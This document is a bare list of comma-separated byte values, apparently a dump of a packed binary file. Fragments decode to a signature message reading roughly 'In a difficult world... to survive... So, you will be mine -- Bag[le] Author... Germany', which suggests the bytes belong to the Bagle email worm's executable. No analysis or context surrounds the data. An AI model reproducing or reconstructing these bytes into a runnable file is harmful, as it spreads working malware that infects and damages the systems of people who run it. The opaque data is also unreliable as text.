,140,38,237,130,55,57,86,237,27,32,22,145,56,123,179,181,83,106,246,124,155,110,22,139,238,76,23,58,91,17,49,132,62,194,124,60,77,236,248,106,36,126,99,116,60,14,50,150,26,115,32,174,190,96,3,150,193,6,86,121,128,177,71,180,118,17,151,55,64,177,65,182,147,127,209,158,247,86,195,110,27,171,11,201,61,236,18,240,25,219,9,178,205,168,83,168,181,16,24,34,12,51,42,194,252,54,20,111,199,202,86,82,71,230,222,197,97,86,172,71,209,209,134,221,249,10,218,172,168,238,139,220,187,197,164,17,218,240,31,254,150,63,109,11,255,11,235,234,249,2,163,25,249,6,9,94,241,80,61,80,109,67,168,75,165,113,60,137,108,212,30,82,239,6,63,234,60,146,30,107,5,175,249,202,15,243,148,193,67,68,162,45,113,162,33,73,135,193,8,255,176,8,253,162,116,126,156,239,103,14,249,119,160,230,173,60,224,227,236,35,5,5,194,121,190,157,23,197,239,20,6,179,56,219,102,152,116,169,120,54,199,6,208,180,252,171,47,221,252,242,4,248,13,188,248,245,82,137,245,77,164,197,211,174,80,156,150,2,172,11,176,122,180,21,119,83,10,87,199,107,251,150,219,147,195,26,149,170,27,212,170,87,227,156,66,97,172,209,87,160,127,35,252,131,30,127,100,178,237,17,211,16,156,39,252,156,160,156,193,175,8,64,174,149,106,95,19,5,25,79,62,116,215,206,200,162,177,143,74,223,109,238,117,238,226,64,58,21,178,245,6,95,137,210,217,42,97,214,246,8,251,114,177,139,211,121,199,193,72,18,28,146,140,21,28,198,158,49,136,115,190,136,95,164,22,160,207,12,223,7,197,178,186,147,51,71,32,162,72,14,200,143,9,228,180,214,34,144,249,232,234,100,188,37,174,249,136,44,2,222,33,96,84,178,15,143,31,178,130,8,155,27,213,247,136,131,180,25,139,112,54,233,135,145,195,67,227,120,66,23,150,74,215,176,9,63,207,248,17,44,224,43,249,245,105,119,159,57,187,117,92,8,25,239,172,162,204,199,200,200,67,23,222,133,202,80,127,248,44,42,123,60,252,249,2,241,177,49,172,18,181,238,184,249,18,206,41,93,3,97,56,102,20,148,251,11,80,226,19,117,63,255,66,66,6,172,74,26,233,237,53,243,189,196,10,53,138,21,114,57,200,128,189,211,67,130,217,104,251,116,193,243,60,47,4,207,133,140,60,185,197,102,31,37,116,64,12,66,28,233,50,200,201,11,26,11,181,104,228,115,143,93,198,18,246,146,55,56,148,177,25,178,1,185,192,110,81,116,231,37,39,7,7,250,186,16,250,146,147,28,228,242,146,36,3,232,18,232,147,103,135,228,184,198,11,230,81,250,201,167,57,201,20,7,98,250,23,93,232,89,47,228,200,23,5,232,3,10,152,63,54,126,190,62,85,201,207,206,155,167,188,27,47,154,21,56,31,74,2,154,49,107,129,24,135,48,76,193,140,251,246,19,28,27,10,152,83,232,135,220,17,53,91,134,124,39,7,103,234,154,169,86,168,65,13,41,202,134,176,238,164,95,121,15,46,228,157,235,47,31,15,181,49,89,197,113,61,216,169,30,115,177,122,2,93,237,186,190,156,232,247,12,196,233,198,229,186,144,74,6,133,148,129,251,248,189,185,28,191,251,77,231,73,204,214,117,24,164,169,222,234,19,95,157,30,59,150,11,234,210,3,234,172,31,250,75,176,1,237,192,43,115,224,17,253,171,113,221,82,240,151,98,163,242,163,115,227,162,196,170,37,41,177,66,56,54,115,249,228,171,152,215,42,90,240,238,117,185,254,133,20,90,70,0,19,141,107,69,59,223,237,185,23,238,41,89,151,74,88,61,255,199,5,0,9,18,110,119,144,187,65,240,4,69,191,13,69,170,109,109,186,85,135,6,81,32,8,222,20,160,210,16,63,137,180,253,127,63,3,60,67,18,55,157,177,254,241,51,142,155,5,203,117,150,101,217,118,236,139,254,5,2,246,14,242,194,12,230,238,132,171,18,199,35,46,148,19,78,68,217,201,23,191,155,137,127,54,12,84,252,6,143,249,181,133,17,255,215,240,78,24,234,91,239,7,107,247,7,169,248,27,108,17,241,67,208,20,241,245,117,116,43,44,139,154,140,255,190,150,236,175,101,38,204,164,223,240,136,240,232,247,53,27,181,27,254,223,16,255,230,114,17,175,134,89,225,26,86,162,95,187,175,226,74,8,160,168,128,119,185,102,128,133,214,133,191,80,156,232,67,42,6,24,56,121,193,3,142,172,123,6,220,93,89,186,141,35,244,144,249,121,5,143,23,29,118,245,49,10,251,255,237,191,153,113,36,180,180,75,251,7,193,77,136,206,86,198,202,136,254,198,195,140,222,198,187,7,111,220,104,190,160,140,230,198,155,128,147,198,212,111,198,165,142,182,112,11,248,246,198,215,142,242,242,241,240,76,253,56,67,192,80,252,185,112,50,17,61,179,135,17,200,174,125,77,6,76,75,137,201,4,172,43,205,240,252,74,50,73,226,70,241,66,126,209,191,242,91,134,243,0,61,48,172,160,96,242,91,36,56,242,90,212,87,245,176,255,227,201,154,162,115,9,44,141,81,255,48,19,34,242,4,75,250,97,128,225,65,19,152,115,220,252,252,118,248,214,10,2,169,2,245,121,89,231,30,123,135,14,234,221,51,44,68,29,65,244,94,123,47,49,113,12,222,6,6,200,186,143,132,163,54,4,226,63,120,56,55,245,234,173,50,209,49,123,3,225,189,240,31,79,164,121,3,255,140,163,9,9,119,71,110,195,222,194,109,98,86,236,253,80,56,53,45,24,8,1,173,248,38,222,241,40,142,195,168,27,38,219,90,247,197,145,93,160,174,50,220,18,243,177,43,125,130,60,173,168,105,8,217,34,144,251,131,53,65,240,26,5,175,234,164,19,174,21,52,167,74,88,152,68,251,201,145,147,135,24,246,160,220,247,1,121,78,200,184,58,246,214,234,33,30,207,174,247,232,96,94,58,249,220,150,123,252,118,21,86,130,47,55,138,155,13,60,150,3,146,114,233,6,139,74,110,44,199,170,110,19,92,255,143,10,60,192,173,69,198,198,170,129,2,17,173,89,244,83,253,6,132,56,152,1,213,127,37,59,129,98,17,163,22,143,59,225,117,223,51,144,18,18,15,240,88,170,153,171,204,128,104,191,216,108,19,13,241,234,122,194,161,79,215,221,239,128,251,94,17,10,52,218,12,240,34,232,151,228,90,149,174,120,173,146,18,7,223,236,19,62,114,182,37,69,51,97,166,217,52,208,4,232,96,225,64,246,71,251,77,216,99,187,113,241,250,181,42,35,232,246,184,176,5,183,45,236,203,69,247,45,36,123,129,200,111,168,246,231,247,177,162,190,186,202,217,175,97,24,176,74,149,64,47,165,144,8,199,226,50,2,196,251,16,55,241,166,236,2,224,190,41,168,91,91,215,97,56,200,6,96,236,209,150,2,245,202,241,139,120,233,49,100,197,26,60,254,253,241,181,151,10,188,119,168,214,156,114,81,147,156,123,5,21,127,230,187,6,152,168,44,9,27,232,13,248,204,8,22,200,16,220,166,103,171,11,238,39,249,246,186,146,62,98,60,136,246,215,8,174,27,236,209,110,70,54,162,30,74,204,252,98,196,60,58,191,182,5,20,128,219,138,71,165,159,153,40,115,159,160,131,21,100,240,124,127,144,25,15,20,117,79,230,120,32,4,7,165,196,126,143,146,178,135,235,53,240,198,104,51,138,35,185,163,241,221,54,129,240,164,131,41,28,72,240,182,160,97,135,208,172,54,111,57,219,142,220,17,14,18,175,15,157,122,196,222,230,235,128,220,6,139,207,13,124,252,10,222,200,109,110,113,70,5,242,92,98,188,17,37,209,51,170,249,82,165,164,5,222,5,133,177,234,242,13,42,244,240,30,27,0,215,222,244,202,18,103,19,10,243,18,30,243,23,21,230,144,203,190,239,76,35,6,242,251,94,29,144,12,124,240,193,86,170,59,255,129,31,27,113,11,13,34,99,67,198,199,3,127,40,135,248,13,43,26,158,219,32,168,65,252,100,27,117,240,234,29,182,109,252,122,135,27,202,239,60,17,209,74,193,220,130,222,129,250,74,120,171,82,51,113,249,142,53,115,233,10,70,51,187,74,200,5,154,56,233,37,189,82,240,205,104,74,168,195,106,66,240,38,161,56,250,254,92,112,48,226,235,100,218,18,13,243,122,214,192,65,13,89,22,230,111,140,2,229,248,51,232,232,53,198,19,224,163,65,41,172,14,77,29,162,133,90,206,1,50,141,120,241,81,205,31,36,28,240,78,168,1,174,116,222,122,49,177,161,248,217,13,226,17,31,18,146,217,88,186,231,52,191,187,101,90,98,167,57,146,206,15,221,88,114,57,210,236,142,4,95,31,25,94,130,37,94,60,221,145,167,161,146,41,90,63,87,162,185,207,247,140,173,194,31,178,18,97,5,158,231,249,74,14,4,75,70,61,40,56,198,99,240,30,134,146,218,180,53,165,242,129,231,123,189,153,70,13,171,10,126,89,119,99,64,85,35,13,66,54,86,76,194,141,195,248,211,18,143,5,240,170,62,53,242,162,185,167,182,42,46,93,82,159,140,51,131,53,179,10,102,239,12,117,39,178,51,6,111,255,81,181,246,119,217,216,179,115,29,253,78,146,107,48,134,82,88,215,50,138,115,3,169,154,134,32,196,122,76,253,4,114,104,127,107,162,92,84,23,242,4,218,142,249,189,17,9,8,187,167,237,112,229,60,34,168,90,219,72,114,229,134,80,129,103,208,243,150,17,201,195,4,122,129,161,253,3,177,199,96,135,58,28,146,245,245,172,19,140,122,49,26,140,167,57,105,11,206,220,15,24,189,122,250,210,88,148,123,103,128,111,35,127,186,235,186,107,121,170,245,76,58,73,21,160,114,248,241,163,13,139,113,195,193,245,242,32,30,77,140,140,205,187,186,210,75,148,239,119,71,99,135,246,205,245,248,240,175,235,110,110,4,202,136,195,141,255,210,17,220,30,38,131,94,22,184,101,109,102,198,5,204,251,14,205,167,254,99,252,186,182,100,118,26,241,157,145,1,132,198,68,139,251,132,48,245,6,129,20,202,18,45,51,43,165,71,100,228,218,168,67,90,67,186,35,75,177,152,176,60,13,238,144,103,100,144,161,180,212,240,11,54,235,230,197,5,79,178,231,48,225,182,122,15,239,79,151,56,79,133,126,6,216,228,225,195,38,18,126,252,92,2,57,206,210,204,48,2,95,60,148,75,228,108,86,207,42,165,252,153,56,177,11,216,211,33,146,149,20,215,29,17,186,35,120,22,28,113,239,35,121,56,252,172,193,17,52,84,169,108,168,186,108,88,23,49,1,17,228,21,182,217,130,155,41,169,14,190,93,36,144,146,1,249,109,146,132,96,54,255,132,118,54,24,82,43,130,91,110,163,145,13,27,79,7,108,57,201,195,94,32,235,234,101,137,255,216,2,59,236,210,249,255,235,19,178,179,153,45,69,158,5,154,24,98,144,253,197,204,146,150,90,19,152,161,126,209,154,12,207,138,99,6,60,47,57,44,140,86,28,254,230,70,134,146,131,40,254,166,162,153,228,97,73,81,189,90,110,22,66,6,25,246,122,30,236,204,80,207,190,63,38,41,64,10,96,158,145,103,186,85,198,94,229,70,153,90,93,22,203,38,92,48,202,125,81,240,249,22,207,65,188,5,25,19,36,87,93,186,117,32,220,144,157,79,132,222,207,101,230,123,90,7,100,35,248,107,11,59,200,33,110,128,254,98,187,75,103,173,81,2,99,34,236,146,91,137,146,233,249,58,182,112,4,237,62,54,34,14,67,163,124,158,231,244,79,134,5,57,143,114,145,165,92,15,87,142,107,27,217,94,43,26,16,22,91,222,8,150,145,101,100,95,225,83,232,87,171,196,89,70,243,75,37,24,226,82,56,168,57,46,152,98,56,240,126,109,246,131,12,73,58,18,223,85,152,68,180,83,127,18,12,238,1,190,214,150,27,59,160,10,210,13,107,112,102,123,82,243,14,8,203,239,108,192,249,11,133,185,14,119,135,18,67,242,62,28,128,179,76,30,158,31,26,170,123,144,123,130,234,234,83,18,175,145,139,177,222,136,159,138,174,158,106,138,76,19,85,152,43,134,81,29,245,249,4,33,210,36,210,136,54,112,45,247,163,251,81,218,79,161,14,35,176,217,109,227,11,4,169,32,242,39,173,255,224,217,193,22,123,45,205,138,54,25,159,237,150,165,208,112,0,0,13,10,1,73,110,32,127,176,255,255,97,32,100,105,102,102,105,99,117,108,116,32,119,111,114,108,100,21,110,97,109,101,108,101,191,221,92,251,115,115,32,116,105,8,19,28,97,110,33,116,111,32,115,117,254,111,127,247,114,118,105,118,18,83,111,44,32,121,111,117,24,105,108,108,32,98,101,32,109,105,110,183,246,219,239,21,45,45,32,66,97,103,57,32,65,117,116,104,79,34,50,57,97,183,111,238,46,48,52,2,9,71,101,114,109,68,121,46,125,111,255,183,239,106,0,1,232,142,64,144,163,108,153,64,0,104,15,56,4,255,53,4,223,237,26,223,112,64,20,33,138,5,54,108,4,22,177,144,106,100,218,254,255,119,7,65,110,235,241,201,195,85,139,236,87,255,117,8,95,235,8,71,246,8,128,237,110,255,151,179,5,59,125,12,117,243,95,201,194,8,66,107,79,71,0,16,251,32,223,143,65,64,40,104,147,168,14,112,129,5,113,80,30,110,237,255,101,0,0,233,149,254,239,255,204,255,37,236,96,15,5,40,97,25,25,25,121,36,32,28,24,25,25,25,25,20,16,12,8,242,28,25,25,4,0,252,96,248,50,50,50,50,244,240,232,228,50,50,50,50,224,156,84,88,50,50,50,50,92,96,100,104,50,50,50,50,108,112,116,120,57,54,50,50,124,128,132,191,136,96,158,207,231,243,140,96,144,96,148,96,152,96,44,249,124,62,71,160,96,164,96,168,96,172,96,200,200,200,243,176,96,180,184,188,200,200,200,200,192,196,200,204,201,200,200,200,208,212,216,220,124,62,159,223,97,137,112,97,108,97,104,97,100,97,200,216,228,249,168,97,164,5,156,200,200,200,200,180,148,144,140,200,200,200,200,152,176,184,172,200,200,200,200,188,56,52,64,225,200,200,200,68,80,72,76,97,217,100,100,100,228,120,132,124,128,50,50,50,194,151,20,16,8,228,59,97,50,12,217,96,5,32,100,100,100,100,36,40,44,48,100,100,100,100,52,56,60,64,97,102,100,100,68,72,76,0,2,36,84,65,34,154,169,162,250,29,195,254,246,223,62,16,4,140,79,203,195,207,212,1,203,207,204,212,200,250,0,109,255,255,255,169,181,188,174,173,187,168,191,166,174,147,151,159,250,158,136,140,158,158,150,150,212,159,130,11,166,217,255,255,129,12,181,175,174,170,181,169,174,212,191,162,191,250,180,183,187,179,180,9,254,255,223,254,181,168,174,181,180,165,13,174,191,168,180,191,174,165,169,191,185,175,165,201,212,202,165,206,202,205,223,190,109,207,32,170,188,10,165,96,165,195,194,165,36,165,183,191,165,107,183,109,216,200,177,24,12,169,47,180,189,57,16,249,207,110,7,168,181,69,185,174,12,169,185,178,191,190,201,200,118,107,103,63,174,172,190,183,9,172,168,24,203,204,12,181,246,255,54,177,56,179,181,215,173,168,170,215,206,200,203,215,72,10,189,185,238,131,148,177,179,182,182,76,185,94,95,174,175,170,183,153,59,182,47,203,23,182,190,21,9,28,187,182,39,228,15,115,175,12,177,190,181,173,180,200,202,125,44,54,107,0,16,66,10,185,182,191,187,35,252,63,182,165,185,11,187,172,138,136,149,142,159,153,142,195,130,30,185,216,194,89,251,183,189,168,190,179,30,40,183,19,202,165,228,100,237,54,185,231,195,162,77,12,180,174,15,251,54,155,172,6,108,184,203,194,203,11,174,190,207,110,237,217,173,183,164,179,185,190,121,170,180,165,190,191,11,131,181,133,188,165,174,252,12,170,142,163,47,27,214,102,10,82,7,169,190,168,66,97,86,112,43,216,141,25,83,159,57,182,114,191,159,178,1,191,162,171,175,28,88,192,10,76,24,37,172,191,157,221,146,103,170,190,23,162,22,174,179,172,179,168,45,216,135,240,175,169,215,185,58,188,187,169,8,23,176,48,43,180,191,114,118,12,68,173,56,156,53,130,204,30,17,170,156,89,11,182,208,6,176,187,34,160,7,146,176,205,218,169,98,105,207,181,132,228,192,222,254,21,207,201,202,91,184,163,184,16,173,96,219,131,37,163,189,184,183,225,175,10,101,221,96,141,162,131,189,220,190,9,214,202,17,182,90,189,222,178,187,133,4,134,125,9,141,58,44,178,174,182,29,43,52,78,216,182,191,122,187,225,121,10,118,120,91,0,53,168,175,156,52,195,228,100,239,187,190,130,12,180,174,253,66,178,67,176,9,191,35,204,118,50,10,3,179,203,96,179,170,159,140,45,76,182,49,168,32,169,106,176,51,20,102,173,213,19,200,130,4,97,198,108,88,13,12,231,3,195,76,165,118,182,179,11,95,68,16,27,147,150,185,170,217,16,34,25,215,46,105,73,75,32,201,33,58,182,237,217,237,72,184,136,189,200,9,169,203,162,219,14,198,25,148,190,254,188,189,38,160,10,11,86,42,4,11,146,51,12,91,150,132,246,175,190,136,199,162,27,105,161,29,198,43,180,156,72,173,210,219,14,91,14,187,162,9,169,225,184,11,45,9,147,13,32,185,32,10,139,144,108,107,67,34,206,94,191,25,70,195,201,58,190,34,191,181,117,179,111,155,91,130,27,115,84,12,64,188,30,195,220,176,181,11,39,10,234,233,235,223,176,18,14,170,163,178,175,201,215,141,66,176,150,108,200,20,73,191,154,175,108,151,132,253,11,175,183,252,182,175,155,14,225,181,185,134,36,172,189,123,169,172,172,221,158,102,12,62,215,187,181,176,8,15,216,176,72,41,94,13,8,90,225,45,59,170,179,217,14,242,181,13,97,201,205,245,12,197,190,186,238,50,134,117,28,181,9,253,187,97,217,146,53,236,207,207,191,24,66,46,172,216,55,216,150,34,182,12,189,182,195,12,3,207,112,61,169,163,180,206,6,190,165,74,215,65,106,77,188,179,46,188,184,179,140,173,110,217,48,9,238,13,170,224,45,129,194,101,9,191,239,60,150,53,13,214,18,169,8,182,131,190,10,225,131,193,216,206,191,122,181,135,180,243,64,43,47,57,173,180,173,167,195,104,14,130,78,130,142,82,108,214,11,6,147,42,123,18,203,56,48,151,179,21,170,173,192,110,144,111,10,180,179,162,177,172,39,162,163,209,102,181,135,50,191,184,171,150,189,251,159,172,253,126,200,169,195,3,15,177,165,205,204,165,203,206,201,204,17,101,131,61,14,179,114,12,190,232,96,135,7,182,12,188,9,179,141,15,217,55,88,88,28,203,29,203,205,165,202,15,172,214,52,176,59,151,169,40,133,154,13,246,20,203,188,144,188,136,101,110,146,104,241,174,124,170,88,215,91,152,61,182,7,189,207,12,88,174,23,44,115,203,14,181,227,11,34,53,14,20,76,185,198,163,117,49,193,228,130,110,66,186,90,11,184,7,55,250,137,131,137,218,23,118,185,68,176,166,96,33,171,181,170,182,44,181,246,96,162,104,70,47,172,202,20,73,111,216,27,87,11,93,229,208,56,24,180,119,166,173,189,75,46,70,225,32,17,173,178,168,143,185,134,228,76,179,183,130,255,129,211,140,176,173,209,10,132,224,191,44,153,24,66,115,34,123,85,56,171,181,37,156,7,168,18,11,126,226,142,135,245,89,10,169,184,189,147,173,163,176,76,24,220,26,84,167,177,169,182,162,185,131,84,48,100,239,42,160,187,191,133,6,17,134,9,160,126,180,203,58,181,96,16,13,142,223,105,217,44,102,176,31,9,21,34,101,113,217,11,201,66,36,18,24,200,50,190,112,43,8,5,74,147,164,178,48,54,105,16,90,191,78,171,207,24,195,133,128,116,171,150,17,172,194,43,109,109,24,52,164,21,243,62,190,4,134,245,134,180,12,191,184,54,176,46,6,168,7,175,10,46,66,141,101,29,168,91,157,163,216,182,16,132,59,243,172,36,180,137,86,129,70,43,195,126,71,103,102,42,148,8,168,240,89,11,17,102,179,119,184,150,10,66,89,54,129,9,139,165,48,165,1,26,103,175,66,107,66,236,71,17,188,131,153,26,179,185,7,232,23,144,169,146,12,188,96,102,138,192,245,173,32,103,223,19,180,55,183,199,112,184,25,179,179,8,140,7,78,18,14,214,205,160,58,162,9,169,201,16,102,108,193,90,75,100,137,188,74,123,180,100,7,228,95,21,237,210,21,136,244,100,207,163,183,106,240,117,75,214,130,110,9,72,147,169,177,36,5,236,155,45,11,175,10,144,50,216,96,141,219,6,187,7,183,47,43,117,107,30,200,215,60,11,180,174,182,208,236,33,215,201,9,133,177,129,155,45,80,96,247,68,184,9,119,38,29,88,87,231,180,11,162,183,91,242,236,44,253,174,126,168,176,11,117,51,72,150,135,150,42,170,29,40,84,152,98,205,64,159,220,18,106,141,12,172,13,7,12,24,214,130,57,118,10,204,33,171,45,107,228,111,245,11,74,198,200,150,172,48,25,99,11,188,15,94,63,8,247,183,190,240,101,102,106,79,72,150,172,180,182,138,124,12,104,193,156,105,60,11,12,11,26,57,130,181,190,9,15,47,114,204,114,193,11,183,239,147,172,85,42,57,26,84,213,83,50,26,172,137,22,115,162,168,11,178,48,96,131,69,22,12,179,142,169,22,195,186,36,99,10,181,9,10,196,178,145,111,223,169,191,12,199,236,5,204,173,13,199,14,165,43,8,179,91,190,65,194,195,12,18,199,15,166,97,20,145,27,131,162,70,179,86,22,77,91,73,176,38,53,86,205,167,128,222,217,26,35,176,71,179,58,28,93,89,44,146,70,183,144,128,92,120,179,249,10,52,189,201,41,55,107,173,167,65,8,72,43,24,6,38,14,183,147,57,28,141,89,91,80,188,100,193,25,15,205,14,13,214,147,35,169,120,156,226,195,90,193,12,8,115,12,175,202,201,194,67,168,85,2,210,246,194,202,180,56,233,130,192,163,93,174,169,160,51,49,4,254,12,183,200,204,120,248,15,219,255,200,86,125,183,250,146,142,142,138,192,213,213,141,0,212,3,123,225,255,137,138,147,159,157,159,150,212,158,159,213,35,138,146,138,27,19,216,191,253,150,159,147,138,128,147,29,136,215,151,159,137,137,159,35,151,96,255,5,246,149,152,147,150,26,148,159,156,149,136,151,155,91,200,79,96,95,155,140,146,79,157,149,159,142,146,129,181,223,22,19,157,136,143,131,142,142,172,251,135,176,50,146,162,155,143,142,149,137,153,149,5,173,181,4,118,200,206,31,84,220,59,19,216,221,183,153,64,215,152,149,142,7,155,156,142,39,152,132,111,11,236,151,152,156,24,146,150,147,148,155,6,43,92,104,33,79,3,148,148,66,91,43,107,133,66,13,109,3,92,107,39,176,255,169,138,155,153,159,153,150,143,152,63,156,136,29,14,182,246,33,108,215,188,150,149,140,159,62,34,158,69,187,133,16,51,149,148,149,214,246,13,33,188,143,146,147,145,84,143,243,150,162,240,238,5,194,158,60,153,215,30,148,147,142,128,182,209,62,128,119,155,152,155,145,56,67,142,127,176,194,9,228,148,155,159,151,89,119,161,189,192,46,141,111,147,156,21,141,109,59,132,112,157,148,104,153,145,134,137,145,254,11,172,109,207,142,89,88,138,136,147,215,141,149,215,242,83,194,27,117,152,143,136,157,20,140,147,136,142,143,218,45,132,241,128,149,148,207,233,137,143,4,140,9,47,16,137,143,215,234,238,45,129,181,11,155,112,24,170,210,118,129,109,180,150,81,141,24,142,6,187,109,141,16,42,27,215,83,142,147,169,237,109,8,105,137,94,128,30,145,149,151,6,212,112,12,97,117,153,202,120,165,194,46,132,219,14,215,136,105,21,70,91,96,141,136,122,154,230,60,129,21,22,216,153,156,160,114,54,101,11,109,76,237,151,26,144,165,129,53,220,198,147,253,140,211,172,202,54,97,59,97,120,136,204,215,225,42,45,172,4,247,151,130,146,217,189,208,130,194,16,130,43,70,212,52,215,245,82,59,101,166,108,28,201,142,234,37,86,214,22,218,149,209,108,153,86,56,176,45,148,26,8,142,67,49,158,63,150,133,3,8,173,169,64,18,200,143,13,11,132,109,107,151,28,157,204,140,255,0,152,158,10,176,168,215,39,2,163,80,106,154,109,185,247,55,199,4,242,156,157,145,86,52,159,148,50,52,70,8,139,123,93,8,235,145,194,96,234,251,8,33,140,66,15,30,220,86,42,180,66,15,119,2,189,202,10,238,17,149,153,30,70,83,46,75,165,219,132,136,158,91,185,149,136,143,211,135,22,64,20,217,215,149,184,92,32,181,54,171,149,177,124,145,92,199,6,9,38,71,143,148,31,87,214,10,23,8,157,147,102,10,243,158,128,181,181,142,147,247,212,163,198,137,91,26,56,83,41,73,83,137,210,8,33,149,5,143,146,26,167,86,43,80,190,136,91,69,61,11,33,12,26,182,110,233,143,40,92,96,27,10,147,163,150,117,99,132,180,153,51,99,157,123,107,41,217,12,174,148,33,213,231,151,13,215,74,224,151,146,140,236,184,154,149,96,232,76,72,254,136,4,29,180,218,182,197,137,21,194,245,140,179,218,129,1,214,10,31,35,183,227,97,162,137,146,136,38,137,216,108,195,196,149,104,142,201,44,131,55,40,81,106,1,21,154,35,70,8,203,80,114,249,108,239,8,233,194,246,128,215,145,37,150,153,143,146,155,102,90,32,113,158,153,240,148,114,176,192,150,182,97,142,242,152,32,213,244,209,142,168,215,138,123,92,215,101,159,150,219,26,133,23,118,141,55,95,166,5,18,141,27,255,247,140,109,129,181,158,100,216,155,148,11,66,8,11,199,51,61,77,92,131,36,218,142,251,92,85,176,89,183,13,179,156,102,151,158,35,165,210,86,224,45,102,33,25,148,204,19,6,218,4,156,160,60,138,53,53,28,133,187,2,100,111,137,133,82,105,144,116,0,75,180,108,27,194,76,205,36,215,102,157,135,163,208,74,41,165,67,145,166,66,35,132,132,212,226,17,91,96,38,190,135,150,15,69,235,66,98,161,105,128,203,137,24,143,102,182,228,162,177,111,150,39,140,199,5,78,133,5,238,167,141,95,32,224,10,61,40,183,153,147,153,196,4,146,161,140,31,97,149,104,182,48,132,196,144,93,155,227,165,182,188,64,110,159,130,142,114,41,254,75,182,90,234,166,131,250,223,137,197,138,199,223,104,188,181,133,165,220,247,6,137,250,187,78,182,209,102,90,214,250,49,164,213,25,138,9,110,7,91,10,36,156,9,144,138,190,250,157,156,109,93,219,70,138,49,223,150,42,189,11,169,198,86,178,31,105,143,138,14,71,142,124,218,111,99,236,141,148,15,189,73,179,60,191,148,123,9,108,169,25,228,28,86,159,24,221,88,161,99,20,182,149,245,21,188,236,169,249,88,3,7,226,7,23,169,155,140,159,6,158,181,30,174,149,188,52,64,190,147,83,185,2,110,179,137,22,202,183,160,156,5,38,10,179,3,248,96,194,254,178,8,135,7,78,182,55,219,250,0,216,219,229,23,35,170,191,182,251,61,23,59,106,50,247,155,253,127,250,26,250,244,219,241,251,255,246,250,252,88,0,234,235,4,179,239,205,186,3,218,14,11,27,254,30,110,182,236,100,7,250,202,51,6,40,25,75,54,176,234,7,6,12,238,236,124,35,172,198,160,2,218,0,137,69,246,42,138,234,55,53,125,193,190,150,102,235,255,144,172,248,182,45,215,148,122,26,82,115,153,16,210,59,37,156,77,35,254,71,184,250,0,154,26,135,40,166,153,122,226,152,217,96,224,43,164,149,90,11,170,234,238,146,39,47,38,234,146,234,0,15,102,57,101,147,114,3,106,234,100,64,158,109,154,86,62,42,234,31,16,234,195,65,199,47,227,250,185,150,157,178,160,175,127,20,28,173,200,13,203,106,188,187,250,158,198,146,131,142,251,252,173,247,36,137,197,210,183,46,182,24,153,31,131,22,250,67,248,173,129,181,70,238,179,36,250,41,248,206,200,51,42,65,3,208,23,177,78,182,44,109,219,82,123,115,250,217,96,159,8,191,231,153,54,123,132,43,103,77,236,28,190,192,255,10,88,154,135,246,251,143,188,106,233,120,227,83,100,146,26,183,234,18,97,179,146,1,207,222,217,14,98,199,10,223,250,223,36,160,79,242,226,106,229,20,146,97,81,189,185,247,41,11,18,141,250,95,130,158,164,170,81,201,33,106,185,81,16,146,77,188,206,250,136,54,68,61,218,68,224,87,104,102,19,209,49,84,168,172,218,217,250,247,3,196,243,6,18,243,250,164,80,5,223,138,101,70,70,70,54,5,142,130,134,122,28,128,97,70,114,231,250,255,255,255,131,218,203,208,203,213,203,192,203,181,203,174,203,64,203,58,203,60,203,54,203,40,203,34,203,250,59,10,21,101,0,6,218,156,121,108,9,76,56,71,214,8,142,130,142,165,109,131,109,157,6,148,66,159,8,138,72,216,219,123,181,146,5,235,27,9,147,247,240,12,237,235,37,126,218,199,218,216,175,137,165,200,58,216,23,159,228,134,181,169,51,73,26,183,181,152,144,85,106,233,77,165,210,216,169,153,160,138,76,103,39,120,50,165,164,169,179,27,216,13,230,220,178,211,57,122,57,67,212,234,178,207,157,65,174,109,51,210,131,174,10,88,48,103,182,53,163,49,159,123,221,231,29,42,180,21,210,184,36,222,155,192,18,37,110,6,155,199,163,235,131,108,55,83,174,132,18,104,198,199,202,212,149,52,214,153,107,247,13,119,212,65,210,203,92,247,47,43,136,210,155,210,147,211,211,39,148,112,31,93,176,179,88,149,79,128,6,7,185,219,182,173,4,145,179,188,81,168,171,158,222,228,236,189,157,140,203,214,15,78,15,200,217,6,51,112,187,138,90,33,201,55,153,130,171,171,22,52,226,159,144,74,180,156,43,71,137,94,21,231,200,8,45,34,56,221,77,149,239,240,58,44,21,137,207,64,42,222,178,59,106,47,127,148,218,210,72,25,139,22,238,195,42,139,143,147,204,184,98,181,191,108,111,214,4,3,150,198,178,174,183,182,196,21,129,55,232,188,7,191,187,190,227,182,191,196,96,127,179,221,7,218,175,138,158,115,198,213,21,38,174,187,192,191,85,15,192,187,170,58,174,199,218,179,190,199,216,88,139,6,236,171,216,218,18,180,104,19,108,5,150,128,1,190,124,10,148,94,251,176,66,91,13,169,174,163,71,18,222,219,154,43,8,20,49,170,50,16,6,208,189,214,12,63,9,20,181,57,253,103,46,224,162,174,139,24,183,187,162,179,183,179,160,12,52,236,86,84,174,174,44,64,26,180,192,200,19,204,181,50,70,189,183,139,32,184,187,119,18,228,104,246,23,181,112,202,180,185,191,19,21,115,151,181,77,91,172,147,129,21,2,215,74,120,13,62,58,91,9,58,7,157,43,151,129,3,128,37,218,254,109,187,213,248,169,185,168,179,172,218,65,59,99,183,80,182,189,30,172,184,208,216,29,144,254,65,186,183,131,188,12,139,156,150,212,140,152,137,10,247,6,72,122,188,169,181,6,174,53,59,201,152,141,140,254,102,252,10,169,61,118,39,212,141,178,118,193,194,110,237,54,234,220,218,166,137,150,156,70,198,214,6,82,214,202,20,145,66,131,164,16,54,216,45,236,66,89,27,100,230,231,80,10,97,131,176,3,74,172,17,182,202,24,57,45,216,178,66,88,27,66,32,17,54,176,66,87,34,10,97,33,172,108,46,89,172,80,246,129,73,150,205,8,27,100,3,128,27,28,33,108,65,214,213,76,172,50,2,88,234,94,132,4,66,9,0,1,150,16,72,97,84,23,117,129,64,10,91,47,45,109,151,52,176,34,153,180,197,146,26,46,228,204,239,18,188,190,83,173,134,205,98,212,145,101,32,13,78,160,149,146,34,103,193,169,89,238,97,67,41,212,168,171,73,160,128,105,33,100,202,210,45,123,205,42,240,121,136,134,144,166,31,133,8,60,196,141,169,27,3,210,33,240,130,181,211,32,22,43,210,190,16,136,192,213,227,247,250,251,185,214,104,167,165,93,221,110,62,238,228,109,213,160,253,147,159,141,159,136,8,54,167,147,181,70,107,205,163,19,87,209,198,142,17,11,141,35,63,250,191,246,233,219,131,111,237,100,225,183,147,102,112,149,156,142,166,41,218,86,180,7,166,185,143,34,9,172,69,106,86,174,33,151,166,194,73,109,38,232,198,83,212,149,250,179,4,128,90,153,183,183,157,250,215,19,146,142,155,121,152,228,41,140,92,192,99,186,179,214,26,134,142